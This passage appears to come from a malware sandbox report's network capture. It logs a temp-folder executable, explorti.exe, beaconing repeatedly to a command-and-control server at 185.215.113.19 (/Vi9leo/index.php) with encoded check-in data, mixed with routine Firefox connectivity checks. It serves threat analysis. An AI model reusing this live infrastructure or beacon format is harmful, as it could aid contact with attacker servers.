Jul 26, 2024 13:49:56.373975039 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:56.622817993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	59116	34.107.221.82	80	4512	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:56.747752905 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:57.269035101 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 00:40:56 GMT Age: 40141 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:49:57.508497000 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Fri, 26 Jul 2024 00:40:56 GMT Age: 40141 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	59121	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:56.761187077 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:57.551642895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:57.552470922 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:57.807667971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	59122	34.107.221.82	80	4512	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:57.511130095 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:57.960227966 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75436 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:49:58.176229000 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:58.270482063 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75437 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:49:59.818300009 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:49:59.913686037 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75438 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:00.123920918 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:00.218720913 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75439 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:10.223216057 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:16.357673883 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:16.452909946 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75455 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:17.376393080 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:17.471173048 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75456 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:17.979964972 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:18.077116013 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75457 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:18.230895996 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:18.327456951 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75457 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:18.449846029 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:18.545703888 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75457 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:18.639025927 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:18.733911991 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75457 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:19.629705906 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:19.724149942 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75458 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:21.043529987 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:21.138782024 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75460 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:30.501595020 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:30.597572088 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75469 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:50:40.632745028 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:50.738004923 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:50:51.016220093 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:50:51.111749887 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75490 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:51:01.121062040 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:11.226810932 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:21.427953005 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:31.527009964 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:31.792660952 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:51:31.902424097 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75530 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:51:41.930666924 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:51:52.034054041 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:52:02.135292053 CEST	6	OUT	Data Raw: 00 Data Ascii:
Jul 26, 2024 13:52:19.287233114 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:52:19.399872065 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75578 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:52:19.771516085 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:52:19.874538898 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75578 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Jul 26, 2024 13:52:52.493611097 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Jul 26, 2024 13:52:52.588392973 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 25 Jul 2024 14:52:41 GMT Age: 75611 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	59129	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:57.931663990 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:58.692226887 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:58.765686989 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:49:59.015244007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	59132	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:49:59.131530046 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:49:59.880218029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:49:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:49:59.883205891 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:00.142345905 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	59133	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:00.276140928 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:01.145242929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:01.146820068 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:01.455810070 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	59134	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:01.577749968 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:02.344425917 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 13:50:02.345288992 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 13:50:02.599025965 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	59135	185.215.113.19	80	1944	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 13:50:02.710489988 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 13:50:03.461991072 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 11:50:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
